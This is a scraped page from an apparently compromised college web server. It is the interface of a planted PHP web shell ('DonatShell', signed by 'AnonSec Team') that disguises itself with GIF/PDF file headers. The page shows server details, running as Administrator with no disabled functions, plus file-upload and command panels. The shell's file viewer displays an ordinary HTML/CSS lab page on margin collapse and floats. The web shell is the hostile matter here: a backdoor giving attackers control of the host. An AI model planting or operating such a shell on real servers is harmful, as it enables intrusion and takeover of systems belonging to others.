GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST1021/Labs/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST1021/Labs/Lab07/margin_float.html
<html lang="en">

<head>
  <title>Margin Collapse Issues - Floats and Padding</title>
  <style>
	html { background-color:cornsilk; }
    body { background-color:azure; border:1px solid black; padding:1em; margin:1em auto 0 auto; width:90%; }
	h1 { background-color:yellow; xmargin-bottom:0; xmargin-block-end:0.5em; }
	
	header, .left, .right, footer { margin-bottom:1em; margin-top:1em; }
    
	header { background-color:silver; xmargin-bottom:1em; xmargin-top:1em; }
	
	.left { background-color:lightgreen; float:left; width:70%; }
    .right { background-color:green; float:right; width:30%; }
	
	.nofloat { background-color:lightblue; margin-bottom:1em; margin-top:1em; }
	
	.clear { clear:both; }
	footer { background-color:silver; clear:both; xmargin-bottom:1em; xmargin-top:1em; }
  </style>
</head>

<body>

<h1>Margin collapse issues</h1>

<header>This is a header with style: { background-color:silver; margin-bottom:1em; margin-top:1em; }
<br>
The html style is: { background-color:cornsilk; }
<br>
The body style is: { background-color:azure; border:1px solid black; padding:1em; margin:1em auto 0 auto; width:90%; }
<br>
What happens when we remove the margin-top for floated divs.
margin-bottom?
text below the footer?
</header>

<div class="left">
This is div that has been floated left with style:
{ background-color:lightgreen; float:left; margin-bottom:1em; margin-top:1em; width:70%; }
This is div that has been floated left with style:
{ background-color:lightgreen; float:left; margin-bottom:1em; margin-top:1em; width:70%; }
This is div that has been floated left with style:
{ background-color:lightgreen; float:left; margin-bottom:1em; margin-top:1em; width:70%; }
</div>

<div class="right">
This is div that has been floated right with style:
{ background-color:green; float:right; margin-bottom:1em; margin-top:1em; width:30%; }
This is div that has been floated right with style:
{ background-color:green; float:right; margin-bottom:1em; margin-top:1em; width:30%; }
</div>

<div class="clear left">
This is div that has been floated left <b>adding {clear:both;}</b> with style:
{ background-color:lightgreen; float:left; margin-bottom:1em; margin-top:1em; width:70%; }
This is div that has been floated left with style:
{ background-color:lightgreen; float:left; margin-bottom:1em; margin-top:1em; width:70%; }
This is div that has been floated left with style:
{ background-color:lightgreen; float:left; margin-bottom:1em; margin-top:1em; width:70%; }
</div>

<div class="right">
This is div that has been floated right with style:
{ background-color:green; float:right; margin-bottom:1em; margin-top:1em; width:30%; }
This is div that has been floated right with style:
{ background-color:green; float:right; margin-bottom:1em; margin-top:1em; width:30%; }
</div>

<div class="clear nofloat">
This is div <b>adding {clear:both;}</b> with style:
{ background-color:lightblue; margin-bottom:1em; margin-top:1em; }
This is div with style:
{ background-color:lightblue; margin-bottom:1em; margin-top:1em; }
This is div with style:
{ background-color:lightblue; margin-bottom:1em; margin-top:1em; }
</div>

<div class="nofloat">
This is div with style:
{ background-color:lightblue; margin-bottom:1em; margin-top:1em; }
This is div with style:
{ background-color:lightblue; margin-bottom:1em; margin-top:1em; }
This is div with style:
{ background-color:lightblue; margin-bottom:1em; margin-top:1em; }
</div>

<footer class="clear">This is a footer <b>adding {clear:both;}</b> with style: { background-color:silver; clear:both; margin-bottom:1em; margin-top:1em; } The footer shows margin and padding issue.</footer>
<!-- Text below the footer -->

</body>

</html>

Anon7 - 2022
AnonSec Team